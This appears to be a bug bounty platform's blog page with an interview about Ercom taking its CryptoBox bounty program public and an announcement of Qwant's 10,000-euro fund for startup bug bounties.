Two examples that illustrate Ercom’s expertise:

  • Ercom equipped the Presidential aircraft with a secure telephone in 2002, thus offering the first highly secure mobile communication solution.
  • Ercom’s Cryptosmart (secure communications and mobile terminals) is the first ANSSI-certified solution to be restricted for distribution to consumer terminals, facilitating users to adopt it.

Our offer is based on three products : CryptoPass, CryptoSmart and CryptoBox.

What did you learn from the private phase of your bug bounty program?
The Bug Bounty in general complements the ANSSI certifications to which we submit each of our security solutions.
Our primary goal was to confront our CryptoBox solution with a relevant range of attackers who we might encounter during its use, in order to have a continuous evaluation of the level of resistance of our solution.

Several bug reports were provided to us and one in particular proved out to be a significant level. This enabled us to improve our product and demonstrate the thoroughness of our development teams about security.

Why going public is a good move ?
Private mode limits the number of bug bounty hunters therefore, it does not really confront us with what we would definitely encounter during an operational deployment. By Going Public, we expect to have Bug Bounty Hunters with more focused, varied and specialized skills on specific surfaces, such as web and smart-phone applications. Through this important and true exercise, we will be able to increase the level of assurance obtained during the private phase.

What would be your arguments for convincing reluctant organizations to cross the threshold ?
It’s always good to face reality, and this is especially important for a security solution. We are making the effort to use the Bug Bounty with the dual objective of improving our solution and having greater visibility and credibility. A Bug Bounty program makes it possible to mobilize a large number of IT security researchers for a limited period of time in an economical and repetitive way.
Our experience being very positive, we will soon open a second program for our new product : CryptoPass.


Join the hunt on BountyFactory.io !


 

Qwant.com & BountyFactory.io to harden companies’ systems

Qwant.com‘s Security & Privacy Fund is now real and it aims at hardening companies’ systems through our BountyFactory.io !

Qwant has always believed that the development of online services should be done with maximum protection of the confidentiality of users personal data. That is why Qwant took a “privacy by design” and a “data minimization” approach from day one, which requires to think preventively of the technical means and business models that generate as little risks as possible for the privacy of users.

Since 2014, thanks to YesWeHack founders, Qwant has created its bug bounty program.

Each year Qwant offers bounties to the vulnerabilities hunters gathered at La Nuit du Hack, in Paris. Those programs run by HackerzVoice & YesWeHack teams have significantly helped Qwant to build up skills, and to even better protect their users personal data.

And for the 15th edition of La Nuit du Hack, Qwant wants to offer other startups and organizations – thanks to its fund – the opportunity to challenge and increase the security of their services with the best hackers in Europe and in the world, to improve privacy on the Internet.

Qwant grants 10,000 euros to this fund, that will allow to pay bounties to hackers who will discover vulnerabilities on the services of startups or associations that share Qwant’s ethical values.

Organizations that are selected to benefit from this fund will of course be accompanied to put the bug bounty program together.

You can find all the necessary details to apply for this Privacy & Security Fund at the operation’s official website: https://hackmeimfamous.com/

Page 1 of 3

Powered by WordPress & Theme by Anders Norén